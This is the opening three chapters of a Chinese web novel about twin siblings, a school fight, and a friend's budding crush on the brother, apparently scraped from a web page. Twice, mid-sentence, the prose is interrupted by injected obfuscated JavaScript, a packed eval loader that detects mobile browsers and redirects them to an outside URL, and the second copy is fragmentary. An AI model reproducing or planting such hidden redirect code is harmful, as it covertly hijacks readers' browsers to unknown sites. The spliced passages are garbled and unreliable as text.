《他注定属于我[gb]》 1. 闯祸 蓝星新历3044年。 梁翘背着书包站在学校附近的某个巷子口,正百无聊赖地低头数鞋子上的条纹,间或抬头去看不远处蛋糕店中隐隐绰绰的身影。 刚刚放学,这会儿人很多,那家蛋糕店又是附近比较受学生喜欢的店面,梁翘不愿意挤在人群里,就找了一个人少的巷口等待。 梁翘身高腿长,一只手插在口袋里斜靠在墙壁上,板正齐整的校服穿在她身上也变得随意起来,外套敞开,里面的衬衫也松开两粒扣子,领带歪歪斜斜地挂在脖子上。 她有着一双明亮的凤眼,眉黑睫翘,脸上总是带着笑,许多路过这里的学生都在偷偷打量她。 正放空时,一阵细微的交谈声吸引了她的注意力。 “她……一个人……赶紧去……” “……紧张……” 梁翘抬头瞥了一眼,一群穿着校服的男生站在不远处看她。 见她看过去,几人像做坏事被抓包一样,急匆匆转过身去,掩耳盗铃般的行为逗得梁翘乐了一下。 许是听见她的笑声,被人群簇拥着的人终于鼓起勇气走上前来。 顶着梁翘的视线,他紧张得不行,同手同脚地走近,脸庞通红。 梁翘又被逗乐了,没忍住笑了一下。 他紧攥着校服的下摆,指尖用力到发白。跟梁翘对视了两秒就忍不住移开了目光,但立马又控制自己转回来看着她的眼睛:“你好……梁翘同学,我,我有事想和你说。” 梁翘眉毛一挑,转瞬就明白了他的来意。 高考在即,毕业来临,即将到来的离别像催化剂一样促使着每个喜欢梁翘的人都在这段时间找到她告白,尤其是在她满18岁之后。 虽然梁翘总是拒绝,但仍有人前仆后继地来找她。由于旧历遗存的人类基因问题,蓝星新历开始一向推崇早婚早育,早早就开始恋爱和异性接触是常事,像梁翘这样直到18岁还没谈过恋爱的才是极少数。 梁翘露出一个笑容,态度自然地问:“什么事情?” 男生顶着一头栗色的卷毛,圆溜溜的眼睛瞪大,看着她的笑容一时呆愣在原地,梁翘也没有催促。 朋友们焦急地呼喊唤回他的理智,他深吸一口气,磕磕绊绊地开口道:“梁翘,我喜欢你,我从…我从高一就开始喜欢你了,我知道你不认识我……但我还是想在你毕业之前告诉你,我喜欢你,你,你,你……” 顶着梁翘的目光,他的声音越来越小,眼神也开始游移,不好意思再跟梁翘对视。 “谢谢你的喜欢,我知道了,”梁翘坦然回道。 男生晕乎乎的,“哦,好,好的……你…你知道了,那我先走了……” 梁翘目送他走了两步,又侧过头看不远处的蛋糕店,梁意正在自助结账机前站着,应该很快就能出来。 不远处一堆男生呼啦啦地围上刚刚向她告白的男生,激动又小声地问着什么。 “怎么样……” “答应没……” “什么反应……” “你没问???” …… 除了最后这句或许是因为提问者的震惊声音有点大一清二楚地传到梁翘耳中,其他的梁翘都没太听清。 不过她也不在意,看着梁意逆着人群从蛋糕店里面出来,她眼睛一亮,快步迎了上去。 梁意背上斜跨着一个背包,手里拎着一个背包,另一只手拿着蛋糕盒。 虽然是双胞胎,但梁意和她完全不一样,不仅在长相,也在性格。 梁翘的长相偏明丽,性格开朗爱笑,跟谁都能说上两句处成朋友;梁意不太爱说话,冷着脸的时候看起来有些吓人,所以哪怕有许多人都被他帅气冷峻的外观吸引,却不见得敢和他说上两句话。 见梁意身上东西套多,梁翘想伸手接过一样,却被他皱着眉躲开。 梁意扬起下巴冲远处点了点:“先过去,这里人太多。” 周围全是穿着校服的学生还有来接他们的悬浮车,蛋糕店门口更是挤得水泄不通。 他们平时基本上都是从学校后门出来,再一路步行回家,今天是因为要来买蛋糕才到这边来。 这家店的招牌榛子蛋糕,梁翘的爸爸郝闻非常喜欢。 但因为是在学校附近,生意好,每天都得限量。郝闻也不喜欢跟着人群挤,只有梁翘和梁意有时会早早冲出学校,来帮郝闻带一个回去。 之前也许是普通地想哄爸爸开心,想给郝闻一个小惊喜,但今天可是事出有因。 前两天梁翘惹了一出祸事,她无缘无故在厕所和一个同学打架。等梁青澄赶到的时候,两个小孩已经被分开了,梁翘没什么事,但是和她打架的同学有些伤在脸上。 其实不严重,但是毕竟见了血。 老师没有偏袒任何一方,先带两个人去校医室处理伤口,再拉来办公室询问打架的原因,但梁翘和那个同学都闭口不谈。 请了家长过来也一样,不论谁问,她们都不肯说。 那没办法了,不清楚缘由,那位同学伤得又比较重,梁翘挨得处分自然也更重。 下周的升旗仪式,全校检讨。 学校是罚完了,但梁青澄的罚还没完。 梁青澄平时对他们一向宽容,但并不是溺爱孩子的家长,原则问题上她不会轻拿轻放。 没办法,梁翘只能尝试从爸爸这里入手,好让梁青澄不要罚得太重,少吃点苦头。 “翘翘,因为什么打架,连我也不能说吗?”梁意看着梁翘问道。 梁翘叹了口气,脸上的笑换成一副愁眉苦脸的表情:“少女心事,青春期的叛逆,哥你不会懂的,你既不是少女,也没有叛逆期。” 梁意知道,梁翘这是不想说的意思,对于她不想说的事情,梁意是怎么也问不出来的。 他没再多问,只是心里默默想,不论妈妈罚什么,他肯定会帮妹妹一起解决的。 不远处还在给自己默默打气的男生看着梁翘耷拉着脸挂在梁意身上慢慢走远,两个人小声说些什么,亲密无间,仿佛注意不到他们这一群人还在这里看着似的。 那点勇气就这样一点点消散,算了……其实‘你愿意和我在一起吗?’这句话,问不问都是一样的,梁翘从来没有接受过任何人的告白。 没再管朋友的起哄,他拽着朋友们的书包,一堆人就这样拉拉扯扯地走远。 梁意抬头看了一眼。 “刚才和你告白了吗?” 梁翘点点头,还是那副怪模样,语调奇怪地感叹:“现在谁和我告白都不能让我心情好起来了。” 一开始是新奇,还有些小小的羞涩,居然会有人喜欢自己,但次数多了就只剩下例行公事的拒绝,激不起半点情绪波动。 第一次被人表白的时候梁翘还在上初二,一个比她大一级的男生红着脸在她回家的路上等她。 当时梁意如临大敌,梁翘也不知道作何反应,紧紧攥着梁意的手看着这个拦下她的男生。 直到那句“我喜欢你”说出口梁意才猛地松下一口气,但转眼又提上来,翘翘才多大?她怎么能……怎么能谈恋爱呢。 梁翘新奇地看着,又毫不留情地拒绝。 “哇,被人表白的感觉怪怪的,拒绝别人也怪怪的。好像也没有我想的那么好玩。”她把玩着梁意的手指跟他吐槽。 “会很难为情。” 梁翘深以为然地点头,忽而察觉不对,扭头看她哥哥:“你怎么知道会很难为情?” “之前有同学在班上和我……” “什么??”梁翘瞪大双眼,“有同学和你表白了?你怎么没有告诉我!哥哥,我可是什么事情都跟你讲!” 梁意有些不知所措,“我觉得这不是什么重要的事。” “不管你觉得重不重要都得告诉我呀!我觉得很重要!以后什么事情都要告诉我,我都要知道,你怎么能跟我有秘密呢。” “这不是秘……”梁意还想再解释,但是面对梁翘指责的目光,他又咽了回去,“好,我以后一定什么事情都告诉你。” 梁翘这才满意。 上了高中以后,他们兄妹俩收到的告白不知有多少。 梁翘从一开始的新奇到后面的麻木,她总会态度很好地回绝他们。 虽然她不喜欢,也不打算接受这些人的感情,但她知道喜欢是一种很珍贵的感情,被人喜欢是一件值得说谢谢的事情。 梁意没有她那么多的想法,每次都是同一句话:“抱歉,我暂时没有谈恋爱的打算。” 朋友们询问过梁翘,为什么一个也不接受,有些向她表白的男生确实是大众意义上非常优秀的那类人。 梁翘摆摆手,“我不喜欢呀,这怎么接受。” 可真要问她喜欢什么样的,梁翘又是一愣,仔细思考了好几天,也没想出答案。 等梁翘和梁意提着蛋糕到家,梁青澄和郝闻已经回家了。 他们家离学校不远,是一栋四层的小别墅,郝闻将之打理的非常好。 离得不远,梁翘和梁意也不愿意让司机费事去接,有时候还得限行堵在路上,所以每天都是步行上下学。 梁青澄工作忙,除了每周五固定全家一起吃饭,其他时候都是看当日的工作安排,很少能有这么早回家的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16130377|180272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候。 今天回来这么早,必定是为了前两天的打架事件,梁翘心中清楚。 她从梁意手中接过蛋糕,脸上带着笑容,小跑着从院子里溜到客厅,笑眯眯地走到郝闻旁边:“爸爸,猜猜我给你什么惊喜呀?” 郝闻正坐在客厅里看电影,见梁翘溜过来讨好地冲他龇牙,无奈笑了一下。 他的工作不忙,大学学得是服装设计,但是并没有在公司任职,而是在梁青澄的支持下自己开了间工作室当老板,算是半自由职业。 家里不能两个大人都忙,郝闻本身也没有太强烈的奋斗欲望。他性格软,在外边工作总是被欺负,还不如回家顾着家里,顺便随着心意做一些喜欢的工作。 梁翘知道他好说话,有时候闯祸了总是会先来他这里下下功夫,好劝一劝梁青澄不要罚得太重。 郝闻看着她手上提着的蛋糕,配合地问道:“翘翘准备了什么惊喜?” 梁翘把蛋糕举起来,放到郝闻的眼前。 “铛铛~你最喜欢吃的蛋糕~” 郝闻配合地‘哇’了一声。 梁青澄听见动静从书房出来,抱着手臂站在一旁看这父女俩演戏。 她还穿着衬衫和西裤,外套被挂起来,应该没有到家太久,还没有换家居服。 梁翘的长相几乎随了梁青澄八成,两人都是明丽的长相,只是梁青澄位高权重这些年被权势滋养下来,眉眼间自多了一股不可言说的逼人气势。 她看着梁翘和郝闻腻歪,等到梁意背着两个书包走进来,才出声打断了这父女情深的一幕。 “好了,先过来吃饭吧。” 梁翘笑嘻嘻地放下蛋糕,磨蹭在郝闻身侧一起走向餐厅。 落座之后,梁翘左边坐着郝闻,右边坐着梁意,梁青澄坐在他们三人对面,不免有些好笑。 “做出这副样子干什么?你自己做错了事情,找你爸你哥就有用吗?” “我只是今天想挨着他们坐。” 梁翘一脸无辜的表情,神态自若地准备吃饭,一点也不怕她。 “饭桌上不说这些,等会吃完了来书房,咱们谈谈。” 说完这句,梁青澄不再多说。 梁翘心中底气渐足,像往常一样,跟梁意说些小话,间或跟郝闻吐槽一些在学校发生的事。 饭后,一家人坐在沙发上歇了会,梁青澄看了梁翘一眼,起身向一楼的书房走去。 梁翘长长地叹了一口气,耷拉着眉眼跟了上去。 梁意想跟过去,郝闻伸手拉住他,“小意,在这陪爸爸看电视吧。” 书房内,母女二人一坐一站。 “前两天想着事情刚发生,让你冷静一下,我没有过问太多,”梁青澄看着自己的女儿,语气平静,“现在来说说吧,为什么打架?” 梁翘没看她妈,眼神游移。“我不想说。” “很好,起码你没拿什么借口糊弄我。”梁青澄点点头,“既然你不想说,我也不勉强你。从现在开始直到高考结束,这一个月的时间,除了学校和家里,不允许你再去任何地方,所有的电子设备一律没收。” 梁翘瞪大眼睛:“一个月的时间,妈,这也太长了……” 梁青澄眼皮一掀,梁翘就自动收声了。 她太了解她妈,梁青澄除了原则问题,几乎是随着孩子自由生长。她从不过分干涉,也不过分溺爱,梁翘和梁意可以在原则范围内尝试任何自己想做的事情。 ——但和同学打架并见了血,这显然是梁青澄不会轻轻放过的原则问题。 梁翘咽下那些未尽之语,默默认下。 郝闻和梁意在客厅装作看电视,实际上没一个人的心思放在电视身上,都在等着书房那边的动静。 梁翘出来之后径自走上二楼进入房间,梁意刚准备跟上去,她就下来了。 拿着一个终端,板着脸放在她妈手上,然后又气鼓鼓地回去了。 梁意急忙起身跟上去。 梁青澄收起她的终端,淡定地走向客厅在郝闻身边坐下。 “你罚什么了,她气成这样。” 郝闻看着坐到自己身旁来的妻子,好奇地问道。 “快高考了,让她收收心。不准外出,没收终端。” 郝闻又笑,“你这放水放得,小意那不是还有吗。” “也不能逼太紧,这个月再让她巩固巩固,免得不把高考当回事。” 郝闻能想到的事情,梁翘气过之后自然也能想到。 所以等到梁意小心翼翼地推开她的房门之后,梁翘立马绽放出一个大大的笑容:“哥,这个月我就靠你啦。” 2. 机会 第二天是周五,梁翘到学校之后神情恹恹地坐在位置上,闷闷不乐。 邓一瞿坐在她旁边,打量了她一上午,猜到梁翘恐怕是因为前段时间打架的事情不开心,仔细思索了一下这两天可以约梁翘出去玩什么哄她开心开心。 只是不用她开口问,和邓一瞿在一起厮混了三年的梁翘对她了解非常,忧伤地告知邓一瞿自己昨天收到的惩罚。 邓一衢瞪大眼睛,难以置信地问道:“所以我们高中生涯的最后一个月,你除了在家好好学习,就什么都干不了啦?” 梁翘没精打采地趴在桌子上,闻言又是长长地叹一口气。 “是啊,连我的终端都给没收了。” “……你妈也太狠了,也不怕把你憋出什么事来。” 梁翘摆摆手:“也没有啦,毕竟邱真被我打成那样…” 邱真和梁翘为什么打架?邓一瞿也不清楚原因,事后她问过梁翘,梁翘只是打了个哈哈含糊过去了。 这次梁翘自己提起这件事,邓一瞿正想借坡下驴,再问一问,就被梁翘打断。 “没关系,我还可以用我哥的终端和你们联系,”梁翘的心事总是来得快去得也快,很快就想通了,“我已经和我哥说好了,等会把他终端号码告诉你,你找我就联系这个号。” 邓一衢本来想问的话卡在喉咙里没吐出来,她突然顿住,整个人像被掐住脖子一样,好半晌没说出话来。 梁翘半天没等到她的回复,疑惑地抬头去看。只见邓一衢满面通红,目光游移,左看右看,就是不跟她对视。 “你哥…你哥的终端号啊,这不好吧…会不会打扰他…” 梁翘感觉不太对。 邓一瞿不是这种扭捏的性格,她喜好玩乐,性格洒脱自由。从前又不是没有和梁意接触过,从来都是大大方方,没有一点不好意思。 梁翘直起身体,凑近仔细打量了半晌邓一瞿,才咂摸出一点味来。 “邓一瞿,这事你怎么不告诉我啊。” “什么事啊……” 梁翘伸手掰过邓一瞿的脸,冷哼一声:“你喜欢我哥?之前怎么从来不告诉我?” 邓一瞿心虚地低头,没敢挣开梁翘的手。 “这不是……也是最近才发现,还没想好怎么跟你说呢……” 梁翘被她这种羞涩难当、少女怀春的语气酸的涩口,一时间难以适应。 “你给我正常点说话!喜欢我哥有什么不知道怎么说的,直接告诉我就好,还怕我拆散你们啊。” 邓一瞿被她打趣半天,羞涩之情慢慢淡去,咧开嘴角,冲着梁翘笑得一脸谄媚:“那当然不是的。” 梁翘:“你都认识我哥这么久了,怎么最近才发现喜欢他?” 邓一瞿:“我也不知道,就是突然有一天看你哥,像是在看男人,而不是看好朋友的哥哥。” 梁翘没明白这说法,邓一瞿和她不一样。梁翘自己对谈恋爱不感兴趣,对向她告白的人每次都是好言好语的拒绝,断了别人念想。 但邓一瞿似乎对这方面特别热衷。她长得好看,留着一头及肩的头发,发尾蓬松卷曲的搭在肩膀上,两手往后一划拉就是一个发型。总是勾着嘴角要笑不笑的样子,盯着谁看都显得多情。看起来特别潇洒,那股不羁的劲儿不知道吸引了多少人,她也一直没断过恋爱。 用邓一瞿自己的话来说,她立志要在22岁之前找到自己的人生伴侣,绝不做25岁参加基因匹配相亲的那种人。 她们俩从小学就开始是同学,但她们小学、初中都不同班。彼此认识但还没有熟到那份上,直到高中成为同班之后一拍即合,以迅雷不及掩耳盗铃之势成为了好朋友。 梁意和她们一直是同一个学校,只是梁意小学、初中和梁翘在一个班,上高中之后反而分开了。 好朋友和哥哥?梁翘之前从没想过这两个人能够搭在一起。 “那你现在是什么打算?要和我哥告白吗?” 梁翘好奇地探问道。 不知道为什么,她在脑子里想象这两人在一起的亲密画面总感觉有些怪异。 邓一瞿:“不知道,其实我还没有想好。” 梁翘疑惑:“什么意思?没想好怎么告白吗?” 邓一瞿又露出那副欲言又止的样子。 梁翘:“邓一瞿,你给我从实招来。” 邓一瞿:“我还没想好我是不是喜欢你哥呢……” 梁翘瞪大眼睛:“那你那副脸红样是干什么呢?一想到我哥都那样了,这还不是喜欢?我告诉你,我哥可不是能让你随便谈谈的。” 这句话或许是因为震惊,声音有些大,教室里好些准备午休的同学都往这边看,邓一瞿赶紧把梁翘拉出教室,两人往操场的方向走过去。 “你别这么激动!我这不是准备跟你说呢吗。” 梁翘双手抱臂:“你说吧,什么情况。” 其实这事也不怪邓一瞿纠结,如果她真的确定,早就告诉梁翘了,不至于等到梁翘话头递到嘴边了才半遮半掩地露出来。 她不会因为梁意从小和她认识,又是好朋友梁翘的哥哥就耻于面对自己的感情。她也不觉得自己先前和其他人谈恋爱都只是随便谈谈,每段恋情开始的时候都很认真,只是后来发现不太合适。 当然,她发现不合适的速度快了一点,于是分得也就快了一点。 梁意这事确实是因为,她真的不太确定。 大概半个月之前,大雨天,上午还是大太阳,谁都没想到下午会有那么大的雨。 等到她们放学的时间点雨停了,但天还是阴沉的厉害,不放心让小孩自己回家,他们的父母都打电话来说在学校等一会,马上过来接。 果然,没多久雨就下下来了,电闪雷鸣,大雨倾盆。 三个人就躲在保安室里等各自的父母过来。 梁翘耳朵好,听到淋漓的雨声中夹杂着细微的小猫叫声,便想出去看看。 当时保安室的雨具都被学生借走了,她自己又没带伞,下这么大雨,梁意不让她去,自己出去找了找。 没几分钟就抱回一只小猫,看起来有两三个月了,被雨淋得很凄惨。 梁意也没有雨具,他干着出去,湿着回来,校服外套脱下来抱住了瑟瑟发抖的小猫,只剩一件黑色短袖穿在里面。 淋了雨之后,短袖紧贴在身上,所有身体曲线一览无余。 梁意和梁翘忙着看顾小猫,邓一瞿不太喜欢小动物,没有凑近去看。 视线正无所事事地乱转时,突然就停在了梁意的身上。 18岁的少年人,宽肩窄腰,柔韧的肌肉线条包裹住腰腹显得诱\人极了。他的头发都湿透了,雨水顺着发梢一路向下,滑过脸颊,路过脖颈,直到被衣服遮住看不到的地方。 邓一瞿顺着那滴水珠看了半天,忽然脸色爆红,仿佛才意识到自己在看哪里似的,火速扭头。 那天兵荒马乱,天气太糟糕,小猫的情况也很糟糕,没人注意到她那一刻的不对劲。 就这样埋在心里半个多月,邓一瞿还没能理清自己的心绪,忽然被梁翘问到脸上,一时间遮掩不住,这才被发现。 “……就是这样,所以真不是我不想告诉你!我自己也还没想明白呢。”邓一瞿极力解释。 梁翘回忆了一下那天,还是没有想到关于邓一瞿所说的那些‘宽肩窄腰’、‘肌肉线条’、‘滑过脸颊的雨水’。她只记得那只小猫情况不太好,带回家之后呼吸越来越微弱,趁着雨停之后他们赶紧送去了宠物医院,养了一个多星期才慢慢见好。 梁意对她来说太熟悉了,她很难从梁意身上感受到那些属于‘异性’的点,她和梁意是这个世界上最亲密的人,她无法用看陌生异性的视角去看待梁意。 “你的意思是你不确定你对我哥是见色起意还是真的喜欢他这个人?”梁翘问。 邓一瞿点头,然后又摇头:“见色起意也是喜欢,我就是不知道我是单纯为这种美好的肉\体而心动,还是为你哥的美好肉\体心动……” 梁翘和邓一瞿能成为朋友不是没有原因的,一句旁人看起来可能很绕口的话,梁翘马上就理解她的意思了。 梁翘大手一挥:“这还不简单,你再和他接触接触就知道了。” 邓一瞿马上就用看义母的眼神看她:“但是梁意哥毕竟是你哥哥……如果我俩最后没成,或者我发现其实我不喜欢他,那你和我得多尴尬啊,我就怕这个。” 梁翘总感觉哪里怪怪的,她把那丝不对劲压在心底,对着邓一瞿承诺道:“好姐妹别担心,就冲你这个态度,我也给你制造点机会。” 邓一瞿狠狠点头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16130378|180272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不过你也得跟我保证,如果真的喜欢我哥哥,绝对不能像之前一样随随便便的。” 邓一瞿撇嘴,小声嘟囔:“我之前也不随便啊……” 见着梁翘不满的眼神,她又赶紧开口:“我保证,绝对像对祖宗一样对你哥哥。” 梁翘这才满意。 现在的问题其实不是要撮合梁意和邓一瞿,也不用去探究梁意对邓一瞿有没有那方面的想法。现在的问题是让邓一瞿想明白,她究竟对梁意是不是喜欢,还是只是被那天冲击力过大的少男身体迷了眼睛,色令智昏。 “我想办法让你跟我哥这段时间多接触接触,你别露馅了,如果你不喜欢我哥,我们就迅速撤退。” 邓一瞿信誓旦旦地对她保证:“你放心,我一定速战速决。” 要多接触,眼下就是机会。 梁翘的终端被没收了,她也没法出门玩,如果需要干点什么,或者和谁联系,就只能通过梁意。她们俩嘀嘀咕咕商量半天,决定在这周末制造一个机会。 以前每个周末梁翘都过得很充实,他们学校一直是双休,高三也是全凭自愿。梁翘和梁意成绩好,父母也没有给压力,所以他们基本上周末都有其他活动。 健身、打游戏、兴趣班、旅游、或者就去逛街、吃个饭都是常有的事。梁意的朋友不多,如果和梁翘或者父母没有其他安排,大部分时间都是自己在家休息;但梁翘朋友多,所以每个周末她都不愁没事干。 除了这个周末。 梁意看着梁翘一脸期盼挨挨蹭蹭地挪过来摇他的手臂,她的声音又尖又细,故意夹着嗓子冲梁意撒娇:“哥哥,就麻烦你帮我去拿一下啦。” “她不可以直接拿过来吗?”梁意问。 梁翘摇头:“一瞿昨天晚上才发信息给我说脚扭伤了,你应该有看到信息呀。” 梁意没看到,昨晚上等到父母都睡了之后,梁翘过来问他要走了终端,到今天早晨才还给他。梁意没有偷窥妹妹隐私的习惯,直接收起来了,并没有去看梁翘拿走干什么了,或者和谁发信息了。 “可以周一到学校再给你。”梁意又提出一个办法。 “那怎么行,我一定要今天收到的,本来一瞿要到家里来送给我呢……哥哥,你就去她家帮我拿一下嘛。” 梁意沉默了一会,他认为自己一个男生去妹妹朋友的家里非常奇怪,哪怕是为了取东西。 “没关系的哥哥,一瞿家里有人,她脚都受伤了,我也不能让她到外边去等你呀。” 梁翘看得懂梁意的顾虑,她了解梁意,甚至不需要梁意说出口,就已经笑眯眯地把这事打了回去。 妹妹都这样说了,梁意只好答应。 站在家门口目送梁意骑车离开后,梁翘才回到沙发上。 她之所以这么积极帮助邓一瞿制造机会,除了因为邓一瞿是她的朋友之外,也因为另外一个原因。 ——蓝星新历1年开始,每个蓝星人都出现了基因问题,在25岁之前如果没有找到伴侣进行精神海的结合,便会产生精神暴乱,进而生理与心理双重崩坏,直至死亡。 这是一个无解的基因病,哪怕过去了三千多年,也没有办法根治。 只是衰败程度随着医疗技术的提升得以后延,现在的蓝星人如果在25岁之前没有找到伴侣结合的话,不至于会死,但每个月都会有7-10天左右的时间如万箭钻心,痛不欲生。 很少有人能够承受这样痛苦保持不婚,最后要么选择婚姻,要么选择死亡。 梁意和她一样,已经满18岁了,他从来没有谈过恋爱,梁翘也从没问过原因。 昨天邓一瞿提起这事的时候,她脑子里想得第一件事就是,如果梁意以后的伴侣是邓一瞿,起码会比那些梁翘毫无了解的陌生人要好。 哥哥总是在为自己打算,难得有这么一次,梁翘想到了哥哥的前面。 只是她还是觉得有哪里怪怪的,不太对劲,这种情绪随着梁意的身影越远而越强烈。 揉了揉心口,又摸了摸脑袋,坐着好一会,但这种感觉迟迟消不下去。 梁意到了吗?他和邓一瞿会说些什么呢?邓一瞿是真的喜欢梁意吗?梁意会喜欢邓一瞿吗?他们……他们会在一起吗?…… 这些问题绕在梁翘的脑子里,很久没有得到答案,也散不下去。 3. 试探 梁意和邓一瞿说不上熟悉,只是梁翘上高中之后经常和她在一起,所以梁意和她见面的次数也随之增多。但也就是见到了打个招呼,仅此而已。 如果不是梁翘这次要求,梁意是绝对不会和妹妹的朋友有其他接触的。 梁意一边骑车,一边思考着梁翘这段时间的不对劲。 自从妹妹进入青春期之后,她总是会有一些梁意难以理解的行为,也不像以前那样和他亲近。 以前他们总是无话不谈,梁翘所有的烦恼和心事都会第一个告诉他,他了解梁翘就像了解自己。 但现在,梁翘有了许多瞒着他的心事…… 梁意压下心头不断涌上来的酸涩,冷着脸往邓一瞿家的方向骑去。 邓一瞿家离得不算远,都在同一条路上,只是她家离学校更远一些,在天气好的时候,邓一瞿总会和梁翘一起打打闹闹地走回家,直到在梁家分别。 梁意没骑多久,大概五分钟就到了。 学校往西这一片都是别墅区,邓一瞿家也不例外,独栋带院子的四层小楼,梁意把车子放好,站在院子门口摸出终端给邓一瞿发信息。 “我是梁意,梁翘让我来替她拿一下东西,在你家门口。” 邓一瞿没有很快回复。 梁意等了一会,视线自然而然的看到上面的对话记录。 是梁翘用他的终端和邓一瞿的聊天记录。 邓一瞿:那就明天吧!明天来。 梁翘:可以,明天上午我让我哥过去。 邓一瞿:嘿嘿,不愧是好姐妹,这么大方。 梁翘:那还用你说【墨镜.jpg】 梁翘:记得做好准备。 邓一瞿:好的长官。 再往下就是他刚刚发给邓一瞿的那条信息。 梁意看了一会,没有往上滑,他正准备收起终端,邓一瞿的消息就弹了出来。 “不好意思梁意哥,我家阿姨刚刚出门了,我脚不方便,麻烦你直接进来拿吧。” 梁意看着这条消息拧起眉毛,只有邓一瞿一个人在,他便不太想进去。 他拿起终端打字。 “那我晚点再过来一趟吧。” 这次邓一瞿回得很快:不用这么麻烦了,我已经拿出来放在桌子上啦,你直接进来拿走就可以了。 梁意最终还是冷着脸推开院子门走进去,敲响了别墅的大门。 里面传来邓一瞿的声音:“门没锁。” 梁意伸手推开门,一眼就看到了坐在沙发上的邓一瞿。 邓一瞿坐在沙发上没动:“不用换鞋啦,直接进来就可以”。 他没乱动,视线没有四处打转,只是看着邓一瞿冷淡地问:“哪个桌子?” 邓一瞿看着他似乎有些紧张,声音很低,扭头看着茶几上的盒子:“就是这个……茶几上这个盒子。” 梁意走过去,和邓一瞿保持着距离,从她正对面的地方沉默地拿起茶几上的盒子便转身准备离开。 邓一瞿喊住了他。 “梁意哥,我的脚不太方便,电视的控制器被我妈放到那个柜子上边了,能麻烦你帮我拿过来吗?” 梁意顿住,回身看了一眼邓一瞿。 她靠在柔软的黑色真皮沙发上边,神态自然,肢体放松舒展。 一条腿搭在沙发上,裤腿底下似乎被什么东西包起来了,看起来是有些肿大。 他没应声,扭身往电视柜的方向走过去,拿起控制器,又递给邓一瞿。 客厅的空间就这么大,他要把控制器递给给邓一瞿,两人就没法离得太远,加上邓一瞿现在没法起身,他只好再凑近些给她,两人之间的距离不足一米。 邓一瞿没有立刻伸手去接,视线从他的眉眼迟缓地向下滑动,慢慢打量着。 梁意的长相其实很英俊,不同于时下高中男生那种过于文弱或者过于‘男子气概’的类型,他身上有种不一样的成熟气质。但他总是冷着一张脸,这份冷漠给他的五官平添一份锐意。 邓一瞿知道有很多女生喜欢梁意,但敢和他表白的女生不算多,一是因为这个年纪的女生总是会过于羞涩,二是因为梁意冷着脸看起来就有些吓人。 她并不害怕这种冷漠,不然她也不会和梁翘一起设计了这样一个‘机会’,让她和梁意可以独处,可以短暂接触一会儿的机会。 不提梁翘和她的朋友关系,她和梁翘是从小一个学校的同学,和梁意自然也是。 见识过他小时候是什么样子,再看长大后这份愈发明显的冷淡,就生不出其他害怕的想法,只会感叹人随着时间变化之大。 梁意见邓一瞿半晌没有动作,疑惑地抬头看她,彼时邓一瞿的视线刚好滑到梁意的腰腹处。 很可惜,今天没有下雨,梁意穿得也只是普通的休闲白T,里面什么也看不见。 被梁意的视线提醒,她像是才回过神似的,伸手接过梁意手上的控制器。似是不经意间擦过梁意的手指,在梁意还没来得及皱眉之前迅速收回手。 “谢谢你梁意哥,麻烦你出去的时候帮我带一下门。” 她露出一个微笑,友好地送别梁意。 梁意没有再多说什么,转身出去,带上了门。 他感受到了邓一瞿掩藏在平静表象底下蠢蠢欲动的试探。 已经3044年了,终端完全可以连接电视,甚至现在的电视也早就不是以前的那种老式电视了,语音控制也没有丝毫问题。 在邓一瞿提出这个要求的时候,梁意就明白过来她的意思。 不只是因为控制器的原因,梁翘和邓一瞿所有反常的举动,还有邓一瞿见到他与往常截然不同的举止都在警醒他。 只是他不确定,这是邓一瞿自己的意思,还是梁翘的意思? 想到之前终端上那两句莫名的对话,梁意垂下眼睫,敛住眸中所有情绪,看不出丝毫异样地配合着邓一瞿的,直到离开。 一路上,他都在思考,他期望着不要是他最不愿意面对的那个答案。 如果真是梁翘的意思……他不知道自己应该作何反应。 等回到家,他一推开门就撞见了翘首以盼的梁翘。 梁翘没有第一时间接过他手上的盒子,而是眼神探究地在他脸上打转,神情怪异。 梁意不是笨蛋,相反,他很聪明,尤其是在梁翘的事情上更是如此。 “翘翘……” 刚一开口,梁翘就打断了他:“哥,把你的终端借我用一下。” 梁意一愣,那个从邓一瞿家拿过来的盒子似乎从他拿到手的那一刻就没有了价值,邓一瞿没有对它多做反应,现在梁翘也是如此,她甚至没有多看一眼。 注意到梁意的呆愣,梁翘的视线这才往下挪到盒子身上,她火速伸手拿过,笑眯眯地跟梁意道谢:“辛苦啦哥哥,可以用你的终端吗?” 梁意点头,从口袋里拿出终端递给梁翘。 随后两人一起坐在客厅里看电视,离得不算远,但双方都有些心不在焉。 梁翘侧头隐晦地打量了梁意一眼,见他只是专注地看着电视,便点开和邓一瞿的对话框开始聊天。 “喜鹊喜鹊,情况怎么样。” 这是梁翘和邓一瞿定的暗号,因为这是梁意的终端,所以梁翘发消息之前需要加上暗号自证身份。 邓一瞿回得很快,像是守着终端等她发消息似的。 “不太对。” 梁翘:哪里不对?说清楚,怎么样,你现在确定了吗? 邓一瞿:和你哥独处,我也没有觉得心跳加快紧张脸红…… 梁翘:那这不就是不喜欢吗?哪里不对了。 邓一瞿:但是摸到你哥的时候我还是有感觉的。 梁翘看到这话瞪大眼睛,霍然起身,浑身气血上涌,脑海中炸开看到的这几个字。 摸到你哥的时候……摸到你哥……摸你哥……摸哥…… 她气得颤抖,梁意侧头看过来,不明白她这是怎么了,刚要起身过来,梁翘又坐了下去,用力地摁着终端。 梁意咽下话语,他隐约猜到一些,于是又坐了回去。 